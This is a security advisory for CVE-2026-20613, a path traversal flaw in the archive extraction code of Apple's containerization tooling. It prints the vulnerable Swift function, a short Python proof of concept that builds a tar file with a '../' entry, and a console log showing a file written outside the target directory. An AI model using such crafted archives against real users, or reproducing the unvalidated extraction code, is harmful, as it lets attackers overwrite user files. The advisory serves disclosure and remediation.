CVE-2026-20613

Impact

### Summary The `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. ### Details The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180. ```swift /// Extracts the contents of an archive to the provided directory. /// Currently only handles regular files and directories present in the archive. public func extractContents(to directory: URL) throws { let fm = FileManager.default var foundEntry = false for (entry, data) in self { guard let p = entry.path else { continue } foundEntry = true let type = entry.fileType let target = directory.appending(path: p) switch type { case .regular: try data.write(to: target, options: .atomic) case .directory: try fm.createDirectory(at: target, withIntermediateDirectories: true) case .symbolicLink: guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else { continue } try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL) default: continue } chmod(target.path(), entry.permissions) if let owner = entry.owner, let group = entry.group { chown(target.path(), owner, group) } } guard foundEntry else { throw ArchiveError.failedToExtractArchive("no entries found in archive") } } ``` ### PoC Sample script `make-evil-tar.py`: ```python #! /usr/bin/env python3 import tarfile import io import time tar_path = "evil.tar" # Content of the file inside the tar payload = b"pwned\n" with tarfile.open(tar_path, "w") as tar: info = tarfile.TarInfo( name="../../../../../../../../../../../tmp/pwned.txt" ) info.size = len(payload) info.mtime = int(time.time()) info.mode = 0o644 tar.addfile(info, io.BytesIO(payload)) print(f"Created {tar_path}") ``` ```console % ./make-evil-tar.py Created evil.tar % mv evil.tar /tmp % cd /tmp % ls pwned.txt ls: pwned.txt: No such file or directory % ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout" % cat pwned.txt pwned ``` ### Impact Affects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function. Affects users of `container image load` in the container project. These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is **not** a privilege escalation, the affected files can only be written to already user-writable locations.

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References

• NVD record
• CVE.org record
• GitHub advisory
• https://github.com/apple/containerization/security/advisories/GHSA-cq3j-qj2h-6rv3
• https://github.com/advisories/GHSA-cq3j-qj2h-6rv3
• https://github.com/apple/containerization/commit/3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52